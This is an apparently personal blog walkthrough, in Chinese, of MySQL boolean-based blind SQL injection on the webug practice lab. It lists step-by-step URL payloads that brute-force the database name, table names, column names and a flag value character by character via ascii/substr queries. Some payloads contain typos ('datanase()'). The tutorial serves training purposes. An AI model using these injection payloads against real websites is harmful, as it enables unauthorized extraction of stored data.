mysql bool型盲注

mysql bool型盲注

  • 个人理解:
    • 其实bool型盲注也可以说为报错型的盲注,只是它不像报错注入那样会直接通过报错信息告诉你库名,列名等,它真正的报错信息被网站管理员自定义的报错信息取代了。因此,既然我们不可以直接通过报错信息得知库名,列名等有效信息,但是我们可以通过网站管理员自定义的信息来对库名,列名等信息进行猜解。
    • 即:通过网站管理员自定义的报错信息作为 判断基准(即相对于基于时间的盲注,攻击者不用自己再设立一个判断基准了,可以直接利用网站管理员自定义的报错信息作为判断基准),如果sql注入语句执行成功,页面返回正常,sql注入语句执行不成功,页面返回管理员自定义的报错页面,然后 根据这两种页面状态作为判断基准 来进行库名,列名等信息的猜解。这就是bool型盲注。

-前置知识:

  • ascii()函数:用于返回字符对应的ascii码。
  • length()函数:返回字符串的长度
  • substr()函数:用于截取字符串
  • count()函数:用于返回表中的记录数量
  • information_schema数据库
    • information_schema 数据库是 MySQL 自带的信息数据库。该数据库用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
    • 其中的 tables表 和 columns表 最为重要
      • tables表:存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。
      • columns表:存储表中的列信息,包括表有多少列、每个列的类型等

1. 盲注注入思路

  1. 判断注入点
  2. 判断数据库的长度
  3. 爆破数据库名
  4. 判断该数据库中存在多少张表
  5. 判断这个数据库中每一个表的长度
  6. 爆破每一个表的表名
  7. 判断表中有多少字段
  8. 判断每一个字段的名长度
  9. 爆破表中的每一个字段名
  10. 判断该表中存在多少条记录
  11. 判断每一个字段值的长度
  12. 爆破相应字段中每一个字段值

2. 靶场实战演示:

2.1 判断注入点

  • payload:
    * ?id=1' -- (页面返回失败)
    * ?id=1' %23 -- (页面返回正常)
    
    • 由下图分析,我们可以得知:该注入点为字符型注入
      01_mysql bool型盲注 - 判断注入点

2.2 判断当前数据库名的长度

  • payload:
    • 注意:以下的payload在使用#号进行闭合时,我使用的都是其URL编码形式(%23),若不采用%23形式,payload就会执行失败。
    * ?id=1 and length(database())>3 %23  -- (页面返回正常)
    * ?id=1 and length(database())>4 %23  -- (页面返回正常)
    * ?id=1 and length(database())>5 %23  -- (页面返回失败)
    
    • 说明:当前数据库名的长度为5
      
02_mysql bool型盲注 - 判断数据库的长度

2.3 爆破数据库名

  • payload:(经过二分法的测试,以下payload的执行页面返回正常)
    * ?id=1' and ascii(substr(datanase(),1,1))=119 %23
    * ?id=1' and ascii(substr(datanase(),2,1))=101 %23
    * ?id=1' and ascii(substr(datanase(),3,1))=98 %23
    * ?id=1' and ascii(substr(datanase(),4,1))=117 %23
    * ?id=1' and ascii(substr(datanase(),5,1))=103 %23
    
    • 即:数据库名的5个字母的ascii码为:119 101 98 117 103 -->对应的数据库名为:webug
      03_mysql bool型盲注 - 爆破数据库名

2.4 判断该数据库中存在多少张表

  • payload:(经过二分法的测试,以下payload的执行页面返回正常)
    * ?id=1' and (select count(*) from information_schema.tables where table_schema='webug')=7 %23
    
    • 说明在名为:webug的数据库中,含有7张表
      04_mysql bool型盲注 - 判断数据库中存在所少张表

2.5 判断这个数据库中每一个表的长度

  • payload:(经过二分法的测试,以下payload的执行页面返回正常)
    * ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 0,1)=9 %23
    * ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 1,1)=8 %23
    * ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 2,1)=8 %23
    * ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 3,1)=4 %23
    * ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 4,1)=12 %23
    * ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 5,1)=4 %23
    * ?id=1' and (select length(table_name) from information_schema.tables where table_schema='webug' limit 6,1)=9 %23
    
    • 经分析可以,该数据库中:
      • 第一张表的长度为:9;第二张表的长度为:8;第三张表的长度为:8;第四张表的长度为:4;第五张表的长度为:12;第六张表的长度为:4;第七张表的长度为:9
        05_mysql bool型盲注 - 判断每一张表的长度

2.6 爆破每一个表的表名

  • payload:
    • 第一张表:(经过二分法的测试,以下payload的执行页面返回正常)
      *  ?id=1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='webug' limit 0,1)=100 %23
      *  ?id=1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema='webug' limit 0,1)=97 %23
      *  ?id=1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema='webug' limit 0,1)=116 %23
      *  ?id=1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema='webug' limit 0,1)=97 %23
      *  ?id=1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema='webug' limit 0,1)=95 %23
      *  ?id=1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema='webug' limit 0,1)=99 %23
      *  ?id=1' and (select ascii(substr(table_name,7,1)) from information_schema.tables where table_schema='webug' limit 0,1)=114 %23
      *  ?id=1' and (select ascii(substr(table_name,8,1)) from information_schema.tables where table_schema='webug' limit 0,1)=117 %23
      *  ?id=1' and (select ascii(substr(table_name,9,1)) from information_schema.tables where table_schema='webug' limit 0,1)=100 %23
      
      • 第一张表名的ASCII码为:100 97 116 97 95 99 114 117 100 -->对应的表名为:data_crud
        06_mysql bool型盲注 - 爆破第一张表名
    • 第二张表:(经过二分法的测试,以下payload的执行页面返回正常)
      * ?id=1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='webug' limit 1,1)=101 %23
      * ?id=1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema='webug' limit 1,1)=110 %23
      * ?id=1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema='webug' limit 1,1)=118 %23
      * ?id=1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema='webug' limit 1,1)=95 %23
      * ?id=1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema='webug' limit 1,1)=108 %23
      * ?id=1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema='webug' limit 1,1)=105 %23
      * ?id=1' and (select ascii(substr(table_name,7,1)) from information_schema.tables where table_schema='webug' limit 1,1)=115 %23
      * ?id=1' and (select ascii(substr(table_name,8,1)) from information_schema.tables where table_schema='webug' limit 1,1)=116 %23
      
      • 第二张表名的ASCII码为:101 110 118 95 108 105 115 116 -->对应的表名为:env_list
        07_mysql bool型盲注 - 爆破第二张表名
    • 第三张表:(经过二分法的测试,以下payload的执行页面返回正常)
      * ?id=1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='webug' limit 2,1)=101 %23
      * ?id=1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema='webug' limit 2,1)=110 %23
      * ?id=1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema='webug' limit 2,1)=118 %23
      * ?id=1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema='webug' limit 2,1)=95 %23
      * ?id=1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema='webug' limit 2,1)=112 %23
      * ?id=1' and (select ascii(substr(table_name,6,1)) from information_schema.tables where table_schema='webug' limit 2,1)=97 %23
      * ?id=1' and (select ascii(substr(table_name,7,1)) from information_schema.tables where table_schema='webug' limit 2,1)=116 %23
      * ?id=1' and (select ascii(substr(table_name,8,1)) from information_schema.tables where table_schema='webug' limit 2,1)=104 %23
      
      • 第三张表名的ASCII码为:101 110 118 95 112 97 116 104 -->对应的表名为:env_path
        08_mysql bool型盲注 - 爆破第三张表名
    • 第四张表:(经过二分法的测试,以下payload的执行页面返回正常)
      * ?id=1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='webug' limit 3,1)=102 %23
      * ?id=1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema='webug' limit 3,1)=108 %23
      * ?id=1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema='webug' limit 3,1)=97 %23
      * ?id=1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema='webug' limit 3,1)=103 %23
      
      • 第四张表名的ASCII码为:102 108 97 103 -->对应的表名为:flag
        09_mysql bool型盲注 - 爆破第四张表名
    • 至此,我们已得知第四章表的表名为:flag,这就是我们想要得到的表,不用继续爆破后三张了

2.7 判断表中有多少字段

  • payload:(经过二分法的测试,以下payload的执行页面返回正常)
    * ?id=1' and (select count(*) from information_schema.columns where table_name='flag')=2 %23
    
    • 由下图可知,flag表中有2个字段
      10_mysql bool型盲注 - 判断表中有多少字段

2.8 判断每一个字段的名长度

  • payload:
    • 第一个字段(经过二分法的测试,以下payload的执行页面返回正常)
      * ?id=1' and (select length(column_name) from information_schema.columns where table_name='flag' limit 0,1)=2 %23
      
      • 由下图可知第一个字段的长度为:2
        11_mysql bool型盲注 - 判断flag表第一个字段的长度
    • 第二个字段(经过二分法的测试,以下payload的执行页面返回正常)
      * ?id=1' and (select length(column_name) from information_schema.columns where table_name='flag' limit 1,1)=4 %23
      
      • 由下图可知第二个字段的长度为:4
        12_mysql bool型盲注 - 判断flag表第二个字段的长度

2.9 爆破表中的每一个字段名

  • payload:
    • 爆破第一个字段名:(经过二分法的测试,以下payload的执行页面返回正常)
      * ?id=1' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='flag' limit 0,1)=105 %23
      * ?id=1' and (select ascii(substr(column_name,2,1)) from information_schema.columns where table_name='flag' limit 0,1)=100 %23
      
      • flag表的第一个字段名的ascii码:105 100 --> 对应的字段名:id
        13_mysql bool型盲注 - 爆破第一个字段名
    • 爆破第二个字段名:(经过二分法的测试,以下payload的执行页面返回正常)
      * ?id=1' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='flag' limit 1,1)=102 %23
      * ?id=1' and (select ascii(substr(column_name,2,1)) from information_schema.columns where table_name='flag' limit 1,1)=108 %23
      * ?id=1' and (select ascii(substr(column_name,3,1)) from information_schema.columns where table_name='flag' limit 1,1)=97 %23
      * ?id=1' and (select ascii(substr(column_name,4,1)) from information_schema.columns where table_name='flag' limit 1,1)=103 %23
      
      • flag表的第二个字段名的ascii码:102 108 97 103 --> 对应的字段名为:flag
        14_mysql bool型盲注 - 爆破第二个字段名
    • 至此得知,第二个字段“flag”才是我们所需要的

2.10 判断该表中存在多少条记录

  • payload:(经过二分法的测试,以下payload的执行页面返回正常)
    * ?id=1' and (select count(*) from flag)=1 %23
    
    • 由下图得知,flag字段有1条记录
      15_mysql bool型盲注 - flag字段有多少条记录

2.11 判断每一个字段值的长度

  • payload:
    * ?id=1' and (select length(flag) from flag limit 0,1)=16 %23
    
    • 由下图可知,第一个字段值的长度诶:16
      16_mysql bool型盲注 - 判断第一个字段值的长度

2.12 爆破相应字段中每一个字段值

  • payload:(在这里payload真的是太多了,偷了个小懒使用了burp)

    1. ?id=1' and (select ascii(substr(flag,1,1)) from flag limit 0,1)=100 %23
    2. ?id=1' and (select ascii(substr(flag,2,1)) from flag limit 0,1)=102 %23
    3. ?id=1' and (select ascii(substr(flag,3,1)) from flag limit 0,1)=97 %23
    4. ?id=1' and (select ascii(substr(flag,4,1)) from flag limit 0,1)=102 %23
    5. ?id=1' and (select ascii(substr(flag,5,1)) from flag limit 0,1)=100 %23
    6. ?id=1' and (select ascii(substr(flag,6,1)) from flag limit 0,1)=97 %23
    7. ?id=1' and (select ascii(substr(flag,7,1)) from flag limit 0,1)=115 %23
    8. ?id=1' and (select ascii(substr(flag,8,1)) from flag limit 0,1)=102 %23
    9. ?id=1' and (select ascii(substr(flag,9,1)) from flag limit 0,1)=97 %23
    10. ?id=1' and (select ascii(substr(flag,10,1)) from flag limit 0,1)=102 %23
    11. ?id=1' and (select ascii(substr(flag,11,1)) from flag limit 0,1)=100 %23
    12. ?id=1' and (select ascii(substr(flag,12,1)) from flag limit 0,1)=115 %23
    13. ?id=1' and (select ascii(substr(flag,13,1)) from flag limit 0,1)=97 %23
    14. ?id=1' and (select ascii(substr(flag,14,1)) from flag limit 0,1)=100 %23
    15. ?id=1' and (select ascii(substr(flag,15,1)) from flag limit 0,1)=102 %23
    16. ?id=1' and (select ascii(substr(flag,16,1)) from flag limit 0,1)=97 %23
    
    • 字段值对应的ascii码:100 102 97 102 100 97 115 102 97 102 100 115 97 100 102 97
    • 对应的字段值为:dfafdasfafdsadfa
      17_mysql bool型盲注 - 爆破字段值
  • 综上所述,这个靶场的flag为:dfafdasfafdsadfa

  • 下图为靶场数据库中所存的对应flag,对比结果正确
    18_mysql bool型盲注 - 爆破字段值

posted @ 2022-01-20 16:38  浅易深  阅读(535)  评论(0编辑  收藏  举报